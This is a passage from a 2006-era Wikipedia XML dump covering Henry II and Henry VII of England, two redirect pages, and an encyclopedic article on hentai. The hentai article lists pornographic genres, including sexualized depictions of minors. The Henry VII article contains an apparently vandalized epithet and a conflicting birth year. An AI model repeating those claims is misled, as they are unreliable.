[[Peter of Blois]] left a description of Henry II in 1177: &quot;''...the lord king has been red-haired so far, except that the coming of old age and gray hair has altered that color somewhat. His height is medium, so that neither does he appear great among the small, nor yet does he seem small among the great... curved legs, a horseman's shins, broad chest, and a boxer's arms all announce him as a man strong, agile and bold... he never sits, unless riding a horse or eating... In a single day, if necessary, he can run through four or five day-marches and, thus foiling the plots of his enemies, frequently mocks their plots with surprise sudden arrivals...Always are in his hands bow, sword, spear and arrow, unless he be in council or in books''.&quot;

Another contemporary, Gerald of Wales, described him thus: &quot;''A man of reddish, freckled complexion, with a large, round head, grey eyes that glowed fiercely and grew bloodshot in anger, a fiery countenance and a harsh, cracked voice.  His neck was poked forward slightly from his shoulders, his chest was broad and square, his arms strong and powerful.  His body was stocky, with a pronounced tendency toward fatness, due to nature rather than self-indulgence -- which he tempered with exercise''.&quot;

[[Image:devils crown.JPG|frame|right|''The Devil's Crown'', a 1978 book from the BBC 2 television series]]

==Fiction==

The assassination of Archbishop [[Thomas Becket]] is the subject of the celebrated 1935 play &quot;[[Murder in the Cathedral]]&quot; by [[T. S. Eliot]]. A fuller account of the struggle between Henry II and Becket is portrayed in the film [[Becket]] (1964) made from the [[Jean Anouilh]] play and starring [[Peter O'Toole]] as Henry and [[Richard Burton]] as Becket.

The treasons associated with the royal and ducal successions formed the main theme of the play ''[[The Lion in Winter]]'', which also served as the basis of a 1968 film with O'Toole reprising the role of Henry and [[Katharine Hepburn]] as Eleanor of Aquitaine.  In [[2003]], the film was remade as a [[mini-series]] with [[Patrick Stewart]] and [[Glenn Close]] in the leading roles.

Henry II and his sons King Richard and King John also provided the subjects of the BBC2 television series ''The Devil's Crown.'' The 1978 book of the same title was written by Richard Barber and published as a guide to the broadcast series, which starred [[Brian Cox]] as Henry and [[Jane Lapotaire]] as Eleanor.

&quot;[[Book of the Civilized Man]]&quot; is a poem believed to have been written in Henry's court and is the first &quot;book of manners&quot; or &quot;courtesy book&quot; in English history, representing the start of a new awakening to etiquette and decorum in English culture.

==Coat of arms==
Henry II's coat of arms were gules a lion rampant or (red background with a golden lion on hind legs). [http://images.google.com/images?q=tbn:iiewhcw2eQcJ:www.roadlesstraveledtheatre.com/images/lion/clip_image003.gif]

==See also==
* [[History rhymes]]

==External links==

* [http://sbaldw.home.mindspring.com/hproject/henry.htm The Henry Project]
* [http://www.fordham.edu/halsall/sbook1n.html#Angevin%20England Medieval Sourcebook: Angevin England]

{{start box}}
|-
| width=&quot;30%&quot; align=&quot;center&quot; rowspan=&quot;2&quot;|Preceded by:&lt;br&gt;'''[[Stephen of England|Stephen]]'''
| width=&quot;40%&quot; align=&quot;center&quot;|'''[[List of British monarchs|King of England]]'''&lt;br&gt;1154&amp;ndash;1189
| width=&quot;30%&quot; align=&quot;center&quot; rowspan=&quot;5&quot;|Succeeded by:&lt;br&gt;'''[[Richard I of England|Richard I]]'''
|-
| width=&quot;40%&quot; align=&quot;center&quot;|'''[[Dukes of Normandy|Duke of Normandy]]'''&lt;br&gt;1150&amp;ndash;1189
|-
| width=&quot;30%&quot; align=&quot;center&quot; rowspan=&quot;2&quot;| '''[[Geoffrey of Anjou|Geoffrey V]]'''
| width=&quot;40%&quot; align=&quot;center&quot; | '''[[List of Counts and Dukes of Anjou|Count of Anjou]]'''&lt;br&gt;''with [[Henry the Young King]]''&lt;br&gt;1151&amp;ndash;1189
|-
| width=&quot;40%&quot; align=&quot;center&quot; | '''[[Counts and Dukes of Maine|Count of Maine]]'''&lt;br&gt;''with [[Henry the Young King]]''&lt;br&gt;1151&amp;ndash;1189
|-
| width=&quot;30%&quot; align=&quot;center&quot; rowspan=&quot;2&quot;| '''[[Louis VII of France|Louis]]''' and '''[[Eleanor of Aquitaine|Eleanor]]'''
| width=&quot;40%&quot; align=&quot;center&quot; | '''[[Duke of Aquitaine]]'''&lt;br&gt;''with [[Eleanor of Aquitaine|Eleanor]]''&lt;br&gt;1152&amp;ndash;1189
|-
| width=&quot;40%&quot; align=&quot;center&quot; | '''[[Count of Poitiers]]'''&lt;br&gt;''with [[Eleanor of Aquitaine|Eleanor]]''&lt;br&gt;1152&amp;ndash;1189
| width=&quot;30%&quot; align=&quot;center&quot; | '''[[William, Count of Poitiers|William]]'''
{{succession box | before=[[Geoffrey of Anjou|Geoffrey V]] | title=[[Count of Mortain]] | years=1151&amp;ndash;1153 | after=[[William of Blois|William III]]}}
{{end box}}




[[Category:1133 births]]
[[Category:1189 deaths]]
[[Category:English monarchs]]
[[Category:Dukes of Normandy]]
[[Category:Counts of Anjou]]
[[Category:House of Anjou]]

[[bg:Хенри II (Англия)]]
[[ca:Enric II d'Anglaterra]]
[[cs:Jindřich II. Plantagenet]]
[[cy:Harri II o Loegr]]
[[de:Heinrich II. (England)]]
[[et:Henry II]]
[[es:Enrique II de Inglaterra]]
[[fr:Henri II d'Angleterre]]
[[it:Enrico II d'Inghilterra]]
[[he:הנרי השני מלך אנגליה]]
[[nl:Hendrik II van Engeland]]
[[ja:ヘンリー2世 (イングランド王)]]
[[pl:Henryk II (król Anglii)]]
[[pt:Henrique II de Inglaterra]]
[[ro:Henric al II-lea al Angliei]]
[[ru:Генрих II (король Англии)]]
[[simple:Henry II of England]]
[[fi:Henrik II (Englanti)]]
[[sv:Henrik II av England]]
[[uk:Генріх II (король Англії)]]
[[zh:亨利二世 (英格兰)]]</text>
    </revision>
  </page>
  <page>
    <title>Henry IV of the Holy Roman Empire</title>
    <id>14182</id>
    <revision>
      <id>15911753</id>
      <timestamp>2002-02-25T15:51:15Z</timestamp>
      <contributor>
        <username>David Parker</username>
        <id>42</id>
      </contributor>
      <comment>*</comment>
      <text xml:space="preserve">#REDIRECT [[Henry IV, Holy Roman Emperor]]</text>
    </revision>
  </page>
  <page>
    <title>Hentai</title>
    <id>14183</id>
    <revision>
      <id>42016537</id>
      <timestamp>2006-03-03T06:06:33Z</timestamp>
      <contributor>
        <username>Mr Chuckles</username>
        <id>999422</id>
      </contributor>
      <comment>Revert to revision 42016273 using [[:en:Wikipedia:Tools/Navigation_popups|popups]]</comment>
      <text xml:space="preserve">[[Image:CreamLemonMakoSexySymphonyPart1manga.jpg|right|thumb|200px|Cover from the film comics for one of the ''[[Cream Lemon]]'' OVAs.]]
{{japanese|kanji=変態|kana= へんたい|romaji=hentai|eng=Hentai}}

'''''Hentai''''' (変態), a [[ Japanese language|Japanese]] 
[[word]] meaning &quot;perverted&quot; is used in many [[western countries]] to refer to [[anime]], [[manga]], and computer games with explicit sexual or [[pornography|pornographic]] content (see [[Japanese pornography]]). However, the Japanese very rarely use the word in this way. More commonly used terms include '''&quot;jū hachi kin&quot;''' (18禁; prohibited for sale to persons under 18), '''&quot;[[ecchi]]/[[H anime]]&quot;''' (sexual/pornographic  [[anime]]) '''&quot;eroanime&quot;''' (エロアニメ; derived from ''erotic [[anime]]''), or '''&quot;seinen&quot;''' (成年; adult, not to be confused with ''[[Seinen|青年]] young adult'').

The term '''&quot;hentai&quot;''' may also be used to refer to pornographic animation in general that is not necessarily anime or manga.  This is most often the case if the said animation is an imitation of a pre-existing cartoon or character (e.g. [[Aladdin (1992 film)|Princess Jasmine]] hentai).

==Background==
[[Image:LevelC-DVDcover.jpg|left|thumb|Cover from ''[[Level C]]'', a [[shōnen-ai]] [[hentai]] anime.]][[H anime]] is an artistic expression of pornography in Japan. As opposed to photographic pornography, they allow full use of the imagination as well as scenes that run counter to accepted society and culture. Elements of sexual fantasy are represented in ways that would be impossible to film, even with a dedicated special effects budget.

This is not without precedent in Japan. During the [[Edo Period]], which was the heyday of [[ukiyo-e]] wood-block prints, ukiyo-e had a pornographic variant, called [[shunga]], which also had scenes that were sometimes surreal.   
  
Each culture will have a different understanding about the line between adult content and mainstream works. It's important to understand ways that the Japanese line might be different from that in other cultures. Children's anime can depict nude characters, for example in ''[[Sailor Moon]]'' it is implied that the girls are nude during their transformation. Many artists add [[nudity]] as [[fanservice]]. 
However, H material tends to use explicit pornographic content.  

As a form of expressing sexual fantasy, depictions can include those that are unacceptable in society, or run counter to social norms. 
Such fantasies can be depicted in the extreme, often demonstrating subconscious desires or purely carnal motivations. This contrast between accepted&amp;mdash;and in some cases ''legal''&amp;mdash;behavior and primal sexuality is a primary motivation for many works of pornography, and H art is no exception.

[[Image:RenaiConsultant.jpg|right|thumb|200px||Cover from ''Ren'ai Consultant'', an adult manga by [[Yū Igarashi]].]] This form of Japanese culture acquired some popularity in the West thanks, to a large extent, to the [[Internet]]. Although there have been many pornographic comic books and animations produced in the West, they never were as popular as H manga is today. Comic book artists who focus on provocative female figures often use their talent for mainstream comic companies rather than adult works, and may fear ridicule for working on niche adult titles that are not as widespread, compared to Japan where a large group of artistic talent draws pornography.     

In comparison to other forms of pornography, H art often portrays women as regular females in society who end up in some kind of sexual encounter, and are often aroused by the encounter to the point of no return. Characters may be portrayed as shy or have no conscious thoughts about sex, until placed in a situation where they are stimulated and aroused. While there is a common theme of a male stranger convincing a female to become aroused physically by her own body and whatever the male desires, there are also depictions of consensual sex between couples, as well as assertive females who initiate sex.   

Often, H artists try to portray situations in the most extreme manner possible, in order to break the boundaries of the viewer's [[comfort zone]]. This results in artists competing to show successively more excessive situations over time. An example would include [[bukkake]] and group sex, which demonstrates extreme sex that isn't usually performed by the average person. Other forms of demonstrating extreme sexual activity include bondage, tentacles, or other fetishes. Some artists may prefer to do the opposite, and focus on lighter titillation and nudity, or on character relationships and story.

==Meaning of the word==
In [[Japanese language|Japanese]], the word ''hentai'' is based on the words, &quot;hen&quot; meaning unusual or strange and &quot;tai&quot; meaning attitude or appearance. It is never used to refer to pornographic material, only to a person. The terms ''18-kin'' (18禁, literally &quot;18-prohibited&quot;) meaning &quot;prohibited to those not yet 18 years old&quot;, and ''seijin manga'' (成人漫画 &quot;adult manga&quot;) are used when referring to pornography.

Compare ''[[otaku]]'' for another word altered somewhat in this transition. The English use is compared to the Japanese slang エッチ (''H'', ''[[etchi]]'', often spelled ''[[ecchi]]''), which refers to any sexually explicit content or behavior &amp;#8212; or simply a lewd comment. ''Etchi'' is simply the spelling-out of the Japanese pronunciation of the letter ''H''; and is believed to be a shortened form of ''hentai'' used as a polite codeword in the [[1960s]]. (Note that even in Japan the origins of ''etchi'' are unclear &amp;#8212; one playful suggestion is that an H is someone who always follows a G, or girl.) Another possibility is that ''etchi'' is not a pronunciation of anything; it simply means &quot;dirty&quot;. On forums and chat rooms &quot;ecchi&quot; is used to refer to pictures that are [[pornography|softcore pornography]], showing nothing more explicit than women's breasts.

Exactly how the term ''hentai'' came to refer to all sexually explicit content in American anime fandom is unknown. With the rise of the [[World Wide Web]], however, the term was extensively promoted by pornographic sites selling access to (frequently bootlegged) erotic manga. [[Banner ad]]s promoting these sites might, for instance advertise &quot;live girls and hentai&quot;, with the latter meaning erotic manga as opposed to photographs. In addition, many people outside of anime and manga fandom had come to associate anime with a particular genre of extreme pornography (e.g., [[tentacle rape]]) which could easily be called ''hentai'' in Japanese as well.

&quot;H&quot; in Japan is now broadly used to refer to all sexual content or activity, so &quot;H manga&quot; are manga with sexual content&amp;mdash;however, &quot;H&quot; and &quot;hentai&quot; are no longer interchangeable. Also, the term &quot;ero&quot; (エロ), short for &quot;erotic&quot; but closer in meaning to &quot;porn&quot;, is now used more often instead of &quot;H&quot;.

==Hentai media==
*Adult anime, or [[List of H anime|H anime]], is anime that relies primarily on sex.
*[[3D computer graphics|3D]] rendered graphics, a more recent development that has evolved with graphics technology.  Styles tend to emulate drawn art as well as video game art.  Can be in image, game, or animation form.
*Adult manga, or [[H Manga]], is manga designed for purely pornographic purposes.  Plot is still used to develop character and setting, but the ultimate goal is to show scenes of sexuality.  Adult manga is often sold in convenience stores, book stores, and magazine stores in Japan, and also other public places such as airports, and is far more prolific and accessible than the US adult [[comic book]] market.  It is usually distributed in digest format, containing several stories by different artists.    
*Adult [[CG artwork]] includes individual drawings by artists.  Art can be available on websites, [[CD-ROM]]s, or in printed art books.  CG artwork is used frequently in adult video games.
*Adult video games, or [[eroge]], are games with a pornographic element.  They can include [[bishoujo game]]s that involve character driven plots, can exist as sex [[simulation]]s.
*Adult Dōjinshi, or [[H dojinshi|H dōjinshi]], refers to a type of work that uses copyrighted characters presented in sexual situations.  It usually refers to printed manga, but can also refer to any type of visual work depicting copyrighted characters, including video games, animation, and CG artwork.  Familiarity with a particular character or setting can add a sense of relating to the character over a generic character used in mainstream hentai, making dōjinshi more appealing to fans of a particular work.  Despite not representing characters and licensed properties as intended, companies often view these works as a free form of license recognition and advertising through dedicated fandom. Some mangakas create hentai dojinshi with characters from their own mangas. Like [[Kazushi Hagiwara]] who create himself &quot;Bastard - Expansion&quot;, a hentai doujin with characters from [[Bastard!!]].
*In Western [[fanfiction]] circles, hentai-based works are popularly referred to as [[Lemon (anime)|lemon]], based on a more popular hentai title called [[Cream Lemon]].  Fictions referred to as &quot;Lime&quot; are ones in which the characters do everything short of having sexual intercourse with each other. In Japan, the works may be referred to as &quot;lemon&quot; or &quot;[[pink]]&quot; (&quot;pink&quot; having sexual connotations similar to the term &quot;blue&quot; in the west).
*Hobbyists often add an extreme adult element to sculptures, models, figures, dolls, mannequins, or outfits.

== Hentai classification ==
There are two main categories of hentai: works that feature mainly heterosexual interactions (often abbreviated &quot;het&quot; by its users), and those that feature mainly homosexual interactions.  This second group can be further split into [[yaoi]] and [[Yuri (animation)|yuri]] styles. ''Yaoi'' refers to [[homosexuality|homosexual]] male pairings, and ''yuri'' to [[lesbian]] pairings. 

Yaoi commonly features males of ambiguous [[gender]] in both physical appearance and mannerisms. These males are called &quot;[[bishonen|bishōnen]],&quot; which literally means &quot;pretty boy.&quot; The traditional &quot;[[bear community|bear]]&quot; of gay porn in other countries is very rare in Japan.  Yaoi also exists outside of the hentai genre, since it is an ambiguous term that is applied to any form of anime that includes male homosexuality.  However, it is different from [[shonen-ai|shōnen-ai]] (literally, &quot;boy-love&quot;), in which two males simply express romantic feelings for each other and never actually have sexual relations.

Yuri is very similar to yaoi, except that the focus is on homosexual female interactions, and the females in a typical yuri illustration or animation tend to be far less realistic than the males in yaoi. The females in yuri are known as &quot;[[bishojo|bishōjo]],&quot; which, predictably, translates as &quot;pretty girl.&quot;  Shōjo-ai (&quot;girl love&quot;) is the female equivalent of shōnen-ai.

The scope of hentai encompasses the entire range of sexual [[fetish]]es, including:
*[[Bakunyuu]], the depiction of women with large breasts. Literally translated to &quot;busty&quot;.
*[[BDSM]], focusing on domination though use of ropes, tools, [[sex toys]], and elaborate devices.  Themes can include empowerment, restriction, and submitting to sexual urges.   
*[[Bukkake]], a common representation of a female being used to service as many males as physically possible, who then ejaculate on her.  Often depicted in public or in areas with a large number of males present.
*[[Catgirl]]s (also known as &quot;nekos&quot; - Japanese for &quot;cat&quot; - in online slang) and other anthropomorphic characters, who display animal attributes such as ears, claws, and a tail.  Generally, skin is made completely visible and not covered entirely by fur, a distinction from [[furries]].  
*[[Coprophilia|Coprophilial]] and [[urolagnia|urolagnial]]
*[[Deformity]]
*[[Ecchi]], focusing on nudity, partial nudity, and provocative clothing rather than pure sex.
*[[Futanari]], a depiction of females who naturally have male genitalia, often exaggerated beyond normal proportions.  
*[[Guro]], focusing on imaginative gore and mutilation.  
*[[Incest]]
*[[Lolicon]], includes girls who are depicted as being below the age of consent. &lt;!-- in Japan (for sexual activities) [http://www.ageofconsent.com/japan.htm], which is 13. --&gt;
*[[Maiesiophilia]]
*[[Milk fetishism]]
*[[Science Fiction]], [[Fantasy]] and [[Horror (genre)|Horror]]
*[[Shota]], the depiction of underage boys having intercourse with other boys, men or women.
*[[Tentacle sex]], the depiction of tentacled creatures or monsters (imaginative or otherwise) engaging in sex or rape with girls.

==See also== 
*[[Anime]]
*[[Cartoon pornography]]
*[[Bishōjo game]]
*[[Bishoujo]]
*[[Bishounen]]
*[[Eroge]]
*[[H anime]]
*[[H manga]]
*[[List of H authors]] (groups, studios, production companies, circles)
*[[List of Monthly H manga]]
*[[Lolicon]]
*[[Manga]]
*[[Panchira]]
*[[Shotakon]]
*[[Shunga]]
*[[Yaoi]]
*[[Yuri (animation)]]

== External links and references ==
*[http://wakaba.c3.cx/soc/kareha.pl/1121956450 Comparative English and Japanese uses of the word]
*[http://web.archive.org/web/20021212041355re_/home.attbi.com/~kagamix2/H_does_not_mean_hentai/ 'H' does not mean 'hentai']
*[http://www.hentai.co.uk/articles/hentai_past_and_present.html Hentai: Past and Present]

[[Category:hentai]]
[[Category:Japanese sex terms]]
[[Category:Anime and manga terminology]]
[[Category:Pornography]]

[[da:Hentai]]
[[de:Hentai]]
[[es:Hentai]]
[[eo:Hentajo]]
[[fr:Hentai]]
[[ko:헨타이]]
[[it:Hentai]]
[[he:האנטיי]]
[[nl:Hentai]]
[[no:Hentai]]
[[pl:Hentai]]
[[pt:Hentai]]
[[ru:Хентай]]
[[sq:Hentai]]
[[simple:Hentai]]
[[sv:Hentai]]</text>
    </revision>
  </page>
  <page>
    <title>Henry VII of the Holy Roman Empire</title>
    <id>14185</id>
    <revision>
      <id>15911756</id>
      <timestamp>2004-07-31T19:24:02Z</timestamp>
      <contributor>
        <ip>217.82.80.242</ip>
      </contributor>
      <text xml:space="preserve">#Redirect [[Henry VII, Holy Roman Emperor]]</text>
    </revision>
  </page>
  <page>
    <title>Henry VII of England</title>
    <id>14186</id>
    <revision>
      <id>42141864</id>
      <timestamp>2006-03-04T02:26:41Z</timestamp>
      <contributor>
        <ip>61.91.223.140</ip>
      </contributor>
      <text xml:space="preserve">{{Infobox Monarch | name=Henry VII
| title= King of England, Lord of Ireland
| image=[[Image: henry7.JPG|200px]]
| reign= [[August 22]] [[1485]] - [[April 21]] [[1509]]
| coronation= [[October 30]] [[1485]]
| queen= [[Elizabeth of York]] ([[1466]]-[[1503]])
| royal house= [[House of Tudor|Tudor]]
| father= [[Edmund Tudor, 1st Earl of Richmond|Edmund Tudor]] (c. [[1430]]-[[1456]])
| mother= [[Margaret Beaufort]] ([[1443]]-[[1509]])
| issue= [[Arthur, Prince of Wales]] ([[1486]]-[[1502]])&lt;br&gt;[[Margaret Tudor]] ([[1489]]-[[1541]])&lt;br&gt;[[Henry VIII of England]] ([[1491]]-[[1547]])&lt;br&gt;[[Elizabeth Tudor]] ([[1492]]-[[1495]])&lt;br&gt;[[Mary Tudor (queen consort of France)|Mary Tudor]] ( [[1496]]-[[1533]])&lt;br&gt;[[Edmund Tudor, Duke of Somerset|Edmund Tudor, Duke of&lt;br&gt;Somerset]] ([[1499]]-[[1500]])&lt;br&gt;[[Katherine Tudor]] ([[1503]]-[[1503]])
| date of birth= [[January 28]] [[1457]]
| place of birth= [[Pembroke Castle]]
| date of death= [[April 21]] [[1509]]
| place of death= [[Richmond Palace]]
| place of burial= [[Westminster Abbey]]
}}

'''Henry VII''' ([[January 28]] [[1457]] - [[April 21]] [[1509]]), [[Kingdom of England|King of England]], [[Lordship of Ireland|Lord of Ireland]] ([[August 22]] [[1485]] &amp;ndash; [[April 21]] [[1509]]), was the founder and first [[patriarch]] of the [[Tudor dynasty]].

==Early life==  Known greatly as the king of hearts, or the man of ruthless wonder, Henry was born in [[Pembroke Castle]], [[Wales]], in 1458, Henry VII was the only son of [[Edmund Tudor, 1st Earl of Richmond|Edmund Tudor]] and [[Margaret Beaufort]]. His father died two months before he was born, which meant that the young Henry spent much of his early life with his uncle, [[Jasper Tudor, 1st Duke of Bedford|Jasper Tudor]]. With the return of [[Edward IV of England|Edward IV]] to the throne in [[1471]], Henry VII was forced to flee to [[Brittany]], where he was to spend most of the next fourteen years. After the failure of the revolt of his second cousin, [[Henry Stafford, 2nd Duke of Buckingham]], in 1483, Henry VII became the leading [[House of Lancaster|Lancastrian]] contender for the throne of England. With money and supplies borrowed from his host, [[Francis II, Duke of Brittany]], Henry made an unsuccessful attempt to land in [[England]] but turned back after encountering [[Richard III of England|Richard III]]'s (1483&amp;ndash;85) forces on the [[Dorset]] coast. Richard III attempted to ensure his return through a treaty with the Breton authorities, but Henry VII was alerted and escaped to [[France]]. He was welcomed by the French court, who readily supplied him with troops and equipment for a second invasion.

==Rise to the throne==
Having gained the support of the in-laws of the late Yorkist King [[Edward IV of England|Edward IV]], he landed with a largely French and [[Scotland|Scottish]] force in Mill Bay, [[Pembrokeshire]], and marched into England, accompanied by his uncle, Jasper Tudor, and the experienced [[John de Vere, 13th Earl of Oxford]]. Wales had traditionally been a Yorkist stronghold, and Henry owed the support he gathered to his ancestry, being directly descended, through his father, from [[the Lord Rhys]]. He amassed an army of around 5000 soldiers and travelled north.

Though outnumbered, and aware this was his only chance to seize the throne - Richard had reinforcements awaiting in [[Nottingham]] and [[Leicester]] - his Lancastrian forces decisively defeated the Yorkists under the King at the [[Battle of Bosworth Field]] on [[22 August]] [[1485]] when several of Richard's key allies, such as the [[Henry Percy, 4th Earl of Northumberland|Earl of Northumberland]] and [[William Stanley (Battle of Bosworth)|William]] and [[Thomas Stanley, 1st Earl of Derby|Thomas]] Stanley, crucially switched sides or deserted the field of battle. This effectively ended the long-running [[Wars of the Roses]] between the two houses, though it wasn't the final battle. Henry's claim to the throne was tenuous and based upon a lineage of illegitimate succession. However, this was no barrier to the Throne; inheritance was not the sole method of becoming Sovereign. Claims could also be based on nomination (by the previous Sovereign), statute, prescription (''[[de facto]]'' possession of power) and, as was the case with Henry VII, conquest.

The first of Henry's concerns on attaining the monarchy was the question of establishing the strength and supremacy of his rule. His own claim to the throne was limited, but he was fortunate in that there were few other claimants to the throne left alive after the long civil war. His main worry was pretenders such as [[Perkin Warbeck]], who pretended to be Richard, Duke of York, the younger of the [[Princes in the Tower]]. These pretenders were backed by disaffected nobles. Henry triumphed in securing his crown by a number of means but principally by dividing and undermining the power of the nobility, especially through bonds and recognizances, as well as forcing them to disband their private armies.  He also honoured his pledge of [[December]] [[1483]] to marry [[Elizabeth of York]], daughter and heir of King Edward IV. The marriage took place on [[January 18]] [[1486]] at Westminster. This unified the warring houses, gave him a greater claim to the throne due to Elizabeth's line of descent and ensured that his children would be of royal blood. (though there is [[Edward IV of England#Was Edward Illegitimate|evidence that Edward was born illegitimate]]).

Henry's first action was to declare himself king as-of the day before the battle, thus ensuring that anyone who had fought against him would, technically, be guilty of treason. It is interesting to note, therefore, that he spared Richard's designated heir, [[John de la Pole, Earl of Lincoln]]. He would have cause to regret his leniency two years later, when Lincoln rebelled and attempted to set a boy pretender, [[Lambert Simnel]], on the throne in Henry's place.  Lincoln was killed at the [[Battle of Stoke]], but Simnel's life was spared and he became a royal servant.

Simnel had been put forward as &quot;Edward VI&quot;, impersonating the young [[Edward, Earl of Warwick]], son of [[George, Duke of Clarence]], who was still imprisoned in the [[Tower of London]]. Henry had shown uncharacteristic leniency in dealing with Edward and did not find a pretext for executing him until he had grown into adulthood, in [[1499]]. Edward's elder sister, [[Margaret Pole]], who had the next best claim on the throne, inherited her father's earldom of Salisbury and survived well into the next century.

==List of children==
{{House of Tudor}}
Henry and Elizabeth's children are:
*[[Arthur, Prince of Wales]] ([[September 20]] [[1486]] &amp;ndash; [[April 2]] [[1502]]).
*[[Margaret Tudor]] ([[November 28]] [[1489]] &amp;ndash; [[October 18]] [[1541]]).
*[[Henry VIII of England]] ([[June 28]] [[1491]] &amp;ndash; [[January 28]] [[1547]]).
*[[Elizabeth Tudor]] ([[July 2]] [[1492]] &amp;ndash; [[September 14]] [[1495]]).
*[[Mary Tudor (queen consort of France)|Mary Tudor]] ([[March 18]], [[1496]] &amp;ndash; [[June 25]] [[1533]]).
*[[Edmund Tudor, Duke of Somerset]] ([[February 21]] [[1499]] &amp;ndash; [[June 19]] [[1500]]).
*Edward Tudor. He may not have actually existed. Unknown dates of birth and death. Suspected to be a mistaken name for Edmund Tudor, Duke of Somerset. However, this name is listed in official records as a child of Henry VII and Elizabeth of York. Edward is also mentioned in ''Britain's Royal Families: The Complete Genealogy'' by [[Alison Weir]] as having died young. She assumes the child to have been buried with his family in [[Westminster Abbey]].
*[[Katherine Tudor]] ([[February 2]] [[1503]] &amp;ndash; [[February 2]] [[1503]]); Elizabeth died giving birth to Katherine.

==Economic and diplomatic policies==
Henry VII was a fiscally prudent monarch who restored the fortunes of an effectively bankrupt exchequer (Edward IV's treasury had been emptied by his wife's Woodville relations after his death and before the accession of Richard III) by introducing efficiently ruthless mechanisms of taxation. In this he was supported by his chancellor, Archbishop [[John Morton]], whose &quot;[[Morton's Fork]]&quot; (the two &quot;tines&quot; of which being: &quot;If the subject is seen to live frugally, tell him because he is clearly a money saver of great ability he can afford to give generously to the King. If, however, the subject lives a life of great extravagance, tell him he, too, can afford to give largely, the proof of his opulence being evident in his expenditure.&quot;) was a [[catch 22 (logic)|catch 22]] method of ensuring that nobles paid increased taxes. Royal government was also reformed with the introduction of the [[King's Council]] that kept the nobility in check.

Henry VII's policy was both to maintain peace and to create economic prosperity.  Up to a point, he succeeded in both. He was not a military man, and had no interest in trying to regain the French territories lost during the reigns of his predecessors; he was therefore only too ready to conclude a treaty with [[France]] that both directly and indirectly brought money into the coffers of [[England]]. He had been under the financial and physical protection of the French throne or its vassals for most of his career as a pretender prior to his ascending to the throne of England. To strengthen his position, however, he [[Subsidy|subsidized]] [[shipbuilding]], so strengthening the [[The Tudors and the Royal Navy|navy]] (he commissioned Europe's first ever - and the world's oldest surviving - [[dry dock]] at [[HMNB Portsmouth|Portsmouth]] in [[1495]])  and improving trading opportunities. By the time of his death, he had amassed a personal fortune of a million and a half pounds; it did not take his son as long to fritter it away as it had taken the father to acquire it.

As well as coming to terms with the French, Henry VII forged alliances with [[Spain]] &amp;mdash; by marrying his son, [[Arthur Tudor]], to [[Catherine of Aragon]]; with [[Scotland]] &amp;mdash; by marrying his daughter, Margaret, to King [[James IV of Scotland]]; and with the [[Holy Roman Empire]], under the emperor [[Maximilian I, Holy Roman Emperor|Maximilian I]] (1493&amp;ndash;1519).

==Later years==
In [[1502]], fate dealt Henry VII a double blow from which he never fully recovered:  His heir, the recently-married Arthur, died in an epidemic at [[Ludlow Castle]] and was followed only a few months later by Henry VII's queen, in childbirth. Not wishing the negotiations that had led to the marriage of his elder son to [[Catherine of Aragon]] to go to waste, he arranged a dispensation for his younger son to marry his brother's widow &amp;mdash; normally a degree of relationship that precluded marriage in the [[Catholicism|Roman Catholic Church]]. Henry VII obtained a dispensation from [[Pope Julius II]] (1503&amp;ndash;13) but had second thoughts about the value of the marriage and did not allow it to take place during his lifetime. Although he made half-hearted plans to re-marry and beget more heirs, these never came to anything. On his death in 1509, he was succeeded by his second, more famous son, [[Henry VIII of England|Henry VIII]] (1509&amp;ndash;47).

==Descendants==
Henry VII's elder daughter [[Margaret Tudor|Margaret]] was married first to [[James IV of Scotland]] (1488&amp;ndash;1513), and their son became [[James V of Scotland]] (1513&amp;ndash;42), whose daughter became [[Mary I of Scotland|Mary, Queen of Scots]]. By means of this marriage, Henry VII hoped to break the [[Auld Alliance]] between Scotland and France. Margaret Tudor's second marriage was to Archibald Douglas; their grandson, [[Henry Stuart, Lord Darnley]] married [[Mary I of Scotland|Mary, Queen of Scots]]. Their son, [[James VI of Scotland]] (1567&amp;ndash;1625), inherited the throne of England as [[James I of England|James I]] (1603&amp;ndash;25) after the death of [[Elizabeth I of England|Elizabeth I]]. Henry VII's other surviving daughter, [[Mary Tudor (queen consort of France)|Mary]], married first King [[Louis XII of France]] (1498&amp;ndash;1515) and then, when he died of too much honeymooning, [[Charles Brandon, Duke of Suffolk]]. Their daughter Frances married Henry Grey, and her children included [[Lady Jane Grey]], in whose name her parents and in-laws tried to seize the throne after [[Edward VI of England]] (1547&amp;ndash;53) died.

King Henry VII is buried at [[Westminster Abbey]].

== Bibliography ==
* ''Henry VII'' by S. B. Chrimes &amp; George Bernard ([[1972]])
* ''Henry VII'' by Jocelyn Hunt &amp; Carolyn Towle ([[1998]])
* ''Henry VII'' by Roger Turvey &amp; Caroline Steinsberg ([[2000]])
* ''The Son of Prophecy: Henry Tudor's Road to Bosworth'' ([[1985]]) by David Rees (ISBN 0851590055) is a discussion of how Henry's return to [[Wales]] was regarded by some as the fulfillment of a Messianic prophecy.

==External links==
*[http://www.badley.info/history/Henry-VII-England.biog.html Henry VII World History Database]

==See also==
*[[List of monarchs in the British Isles]]

{{start box}}
{{succession box two to two|
 before=[[Richard III of England|Richard III]]|
 title1=[[List of British monarchs|King of England]]|
 years1=[[1485]]&amp;ndash;[[1509]]|
 title2=[[Lordship of Ireland|Lord of Ireland]]|
 years2=[[1485]]&amp;ndash;[[1509]]|
 after=[[Henry VIII of England|Henry VIII]]
}}
{{end box}}

[[Category:1457 births]]
[[Category:1509 deaths]]
[[Category:Welsh people]]
[[Category:English monarchs]]
[[Category:History of Wales]]
[[Category:Wars of the Roses]]
[[Category:Knights of the Golden Fleece]]
[[Category:Earls in the Peerage of England]]
[[Category:House of Tudor]]
[[Category:Roman Catholic monarchs]]
[[Category:Historical figures portrayed by Shakespeare]]

[[ar:هنري السابع من إنكلترا]]
[[cs:Jindřich VII.]]
[[cy:Harri VII o Loegr]]
[[de:Heinrich VII. (England)]]
[[es:Enrique VII de Inglaterra]]
[[fr:Henri VII d'Angleterre]]
[[he:הנרי השביעי מלך אנגליה]]
[[kw:Henry VII a Bow Sows]]
[[la:Henricus VII Angliae Rex]]
[[mr:हेन्री सातवा]]
[[nl:Hendrik VII van Engeland]]
[[ja:ヘンリー7世 (イングランド王)]]
[[no:Henrik VII av England]]
[[pl:Henryk VII Tudor]]
[[pt:Henrique VII de Inglaterra]]
[[ru:Генрих VII (король Англии)]]
[[simple:Henry VII of England]]
[[fi:Henrik VII (Englanti)]]
[[sv:Henrik VII av England]]
[[uk:Генріх VІІ (король Англії)]]
[[zh:亨利七世 (英格兰)]]</text>
    </revision>
  </page>
  <page>
